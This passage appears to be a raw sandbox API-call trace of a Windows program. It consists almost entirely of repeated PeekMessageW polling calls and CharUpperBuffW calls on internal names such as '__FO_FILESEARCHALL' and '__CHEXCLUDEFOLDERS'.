lpMsg=0xe8f3dfe470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe470) returned 0 [0019.849] PeekMessageW (in: lpMsg=0xe8f3dfe470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe470) returned 0 [0019.849] PeekMessageW (in: lpMsg=0xe8f3dfe470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe470) returned 0 [0019.849] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0019.849] CharUpperBuffW (in: lpsz="__FO_FILESEARCHALL", cchLength=0x12 | out: lpsz="__FO_FILESEARCHALL") returned 0x12 [0019.849] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0019.849] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0019.849] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0019.849] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0019.849] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0019.849] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0019.849] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0019.849] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0019.850] CharUpperBuffW (in: lpsz="__CHEXCLUDEFOLDERS", cchLength=0x12 | out: lpsz="__CHEXCLUDEFOLDERS") returned 0x12 [0019.850] PeekMessageW (in: lpMsg=0xe8f3dfe470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe470) returned 0 [0019.850] PeekMessageW (in: lpMsg=0xe8f3dfe470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe470) returned 0 [0019.850] PeekMessageW (in: lpMsg=0xe8f3dfe470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe470) returned 0 [0019.850] PeekMessageW (in: lpMsg=0xe8f3dfe470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe470) returned 0 [0019.850] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0019.850] CharUpperBuffW (in: lpsz="__FO_FILESEARCHALL", cchLength=0x12 | out: lpsz="__FO_FILESEARCHALL") returned 0x12 [0019.850] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0019.850] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0019.850] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0019.850] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0019.850] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0019.850] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0019.850] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0019.850] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0019.850] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0019.850] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0019.850] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0019.850] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0019.850] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0019.850] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0019.850] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0019.850] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0019.850] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0019.850] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0019.850] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0019.850] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0019.850] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0019.850] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0019.850] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0019.850] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0019.850] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0019.851] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0019.851] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0019.851] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0019.851] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0019.851] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0019.851] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0019.851] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0019.851] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0019.851] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0019.851] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0019.851] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0019.851] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0019.851] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0019.851] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0019.851] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0019.851] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0019.851] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0019.851] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0019.851] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0019.851] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0019.851] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0019.851] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0019.851] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0019.851] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0019.851] CharUpperBuffW (in: lpsz="__CHEXCLUDEFOLDERS", cchLength=0x12 | out: lpsz="__CHEXCLUDEFOLDERS") returned 0x12 [0019.851] PeekMessageW (in: lpMsg=0xe8f3dfe470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe470) returned 0 [0019.851] PeekMessageW (in: lpMsg=0xe8f3dfe470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe470) returned 0 [0019.851] PeekMessageW (in: lpMsg=0xe8f3dfe470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe470) returned 0 [0019.851] PeekMessageW (in: lpMsg=0xe8f3dfe470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe470) returned 0 [0019.851] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0019.851] CharUpperBuffW (in: lpsz="__FO_FILESEARCHALL", cchLength=0x12 | out: lpsz="__FO_FILESEARCHALL") returned 0x12 [0019.851] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0019.851] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0019.852] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0019.852] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0019.852] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0019.852] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0019.852] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0019.852] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0019.852] CharUpperBuffW (in: lpsz="__CHEXCLUDEFOLDERS", cchLength=0x12 | out: lpsz="__CHEXCLUDEFOLDERS") returned 0x12 [0019.852] PeekMessageW (in: lpMsg=0xe8f3dfe470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe470) returned 0 [0019.852] PeekMessageW (in: lpMsg=0xe8f3dfe470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe470) returned 0 [0019.852] PeekMessageW (in: lpMsg=0xe8f3dfe470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe470) returned 0 [0019.852] PeekMessageW (in: lpMsg=0xe8f3dfe470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe470) returned 0 [0019.852] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0019.852] CharUpperBuffW (in: lpsz="__FO_FILESEARCHALL", cchLength=0x12 | out: lpsz="__FO_FILESEARCHALL") returned 0x12 [0019.852] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0019.852] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0019.852] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0019.852] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0019.852] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0019.852] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0019.852] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0019.852] CharUpperBuffW (in: lpsz="__CHEXCLUDEFOLDERS", cchLength=0x12 | out: lpsz="__CHEXCLUDEFOLDERS") returned 0x12 [0019.852] PeekMessageW (in: lpMsg=0xe8f3dfe150, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe150) returned 0 [0019.852] PeekMessageW (in: lpMsg=0xe8f3dfe150, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe150) returned 0 [0019.852] PeekMessageW (in: lpMsg=0xe8f3dfe150, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe150) returned 0 [0019.852] PeekMessageW (in: lpMsg=0xe8f3dfe150, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe150) returned 0 [0019.852] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0019.853] CharUpperBuffW (in: lpsz="__FO_FILESEARCHALL", cchLength=0x12 | out: lpsz="__FO_FILESEARCHALL") returned 0x12 [0019.853] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0019.853] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0019.853] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0019.853] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0019.853] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0019.853] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0019.853] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0019.853] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0019.853] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0019.853] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0019.853] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0019.853] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0019.853] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0019.853] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0019.853] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0019.853] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0019.857] CharUpperBuffW (in: lpsz="__CHEXCLUDEFOLDERS", cchLength=0x12 | out: lpsz="__CHEXCLUDEFOLDERS") returned 0x12 [0019.857] CharUpperBuffW (in: lpsz="__FO_FILESEARCHALL", cchLength=0x12 | out: lpsz="__FO_FILESEARCHALL") returned 0x12 [0019.865] CharUpperBuffW (in: lpsz="__CHEXCLUDEFOLDERS", cchLength=0x12 | out: lpsz="__CHEXCLUDEFOLDERS") returned 0x12 [0019.865] CharUpperBuffW (in: lpsz="__FO_FILESEARCHALL", cchLength=0x12 | out: lpsz="__FO_FILESEARCHALL") returned 0x12 [0019.888] CharUpperBuffW (in: lpsz="__CHEXCLUDEFOLDERS", cchLength=0x12 | out: lpsz="__CHEXCLUDEFOLDERS") returned 0x12 [0019.888] CharUpperBuffW (in: lpsz="__FO_FILESEARCHALL", cchLength=0x12 | out: lpsz="__FO_FILESEARCHALL") returned 0x12 [0019.888] CharUpperBuffW (in: lpsz="__FO_FILESEARCHALL", cchLength=0x12 | out: lpsz="__FO_FILESEARCHALL") returned 0x12 [0019.888] CharUpperBuffW (in: lpsz="__FO_FILESEARCHALL", cchLength=0x12 | out: lpsz="__FO_FILESEARCHALL") returned 0x12 [0019.889] CharUpperBuffW (in: lpsz="__FO_FILESEARCHALL", cchLength=0x12 | out: lpsz="__FO_FILESEARCHALL") returned 0x12 [0019.893] CharUpperBuffW (in: lpsz="__CHEXCLUDEFOLDERS", cchLength=0x12 | out: lpsz="__CHEXCLUDEFOLDERS") returned 0x12 [0019.893] CharUpperBuffW (in: lpsz="__FO_FILESEARCHALL", cchLength=0x12 | out: lpsz="__FO_FILESEARCHALL") returned 0x12 [0019.893] CharUpperBuffW (in: lpsz="__CHEXCLUDEFOLDERS", cchLength=0x12 | out: lpsz="__CHEXCLUDEFOLDERS") returned 0x12 [0019.893] CharUpperBuffW (in: lpsz="__FO_FILESEARCHALL", cchLength=0x12 | out: lpsz="__FO_FILESEARCHALL") returned 0x12 [0019.893] CharUpperBuffW (in: lpsz="__CHEXCLUDEFOLDERS", cchLength=0x12 | out: lpsz="__CHEXCLUDEFOLDERS") returned 0x12 [0019.893] CharUpperBuffW (in: lpsz="__FO_FILESEARCHALL", cchLength=0x12 | out: lpsz="__FO_FILESEARCHALL") returned 0x12 [0019.896] CharUpperBuffW (in: lpsz="__FO_FILESEARCHALL", cchLength=0x12 | out: lpsz="__FO_FILESEARCHALL") returned 0x12 [0019.897] CharUpperBuffW (in: lpsz="__CHEXCLUDEFOLDERS", cchLength=0x12 | out: lpsz="__CHEXCLUDEFOLDERS") returned 0x12 [0019.897] CharUpperBuffW (in: lpsz="__FO_FILESEARCHALL", cchLength=0x12 | out: lpsz="__FO_FILESEARCHALL") returned 0x12 [0019.897] CharUpperBuffW (in: lpsz="__CHEXCLUDEFOLDERS", cchLength=0x12 | out: lpsz="__CHEXCLUDEFOLDERS") returned 0x12 [0019.897] CharUpperBuffW (in: lpsz="__FO_FILESEARCHALL", cchLength=0x12 | out: lpsz="__FO_FILESEARCHALL") returned 0x12 [0019.898] CharUpperBuffW (in: lpsz="__CHEXCLUDEFOLDERS", cchLength=0x12 | out: lpsz="__CHEXCLUDEFOLDERS") returned 0x12 [0019.898] CharUpperBuffW (in: lpsz="__FO_FILESEARCHALL", cchLength=0x12 | out: lpsz="__FO_FILESEARCHALL") returned 0x12 [0019.899] CharUpperBuffW (in: lpsz="__FO_FILESEARCHALL", cchLength=0x12 | out: lpsz="__FO_FILESEARCHALL") returned 0x12 [0019.900] CharUpperBuffW (in: lpsz="__CHEXCLUDEFOLDERS", cchLength=0x12 | out: lpsz="__CHEXCLUDEFOLDERS") returned 0x12 [0019.900] CharUpperBuffW (in: lpsz="__FO_FILESEARCHALL", cchLength=0x12 | out: lpsz="__FO_FILESEARCHALL") returned 0x12 [0019.900] CharUpperBuffW (in: lpsz="__CHEXCLUDEFOLDERS", cchLength=0x12 | out: lpsz="__CHEXCLUDEFOLDERS") returned 0x12 [0019.900] CharUpperBuffW (in: lpsz="__FO_FILESEARCHALL", cchLength=0x12 | out: lpsz="__FO_FILESEARCHALL") returned 0x12 [0019.900] CharUpperBuffW (in: lpsz="__CHEXCLUDEFOLDERS", cchLength=0x12 | out: lpsz="__CHEXCLUDEFOLDERS") returned 0x12 [0019.900] CharUpperBuffW (in: lpsz="__FO_FILESEARCHALL", cchLength=0x12 | 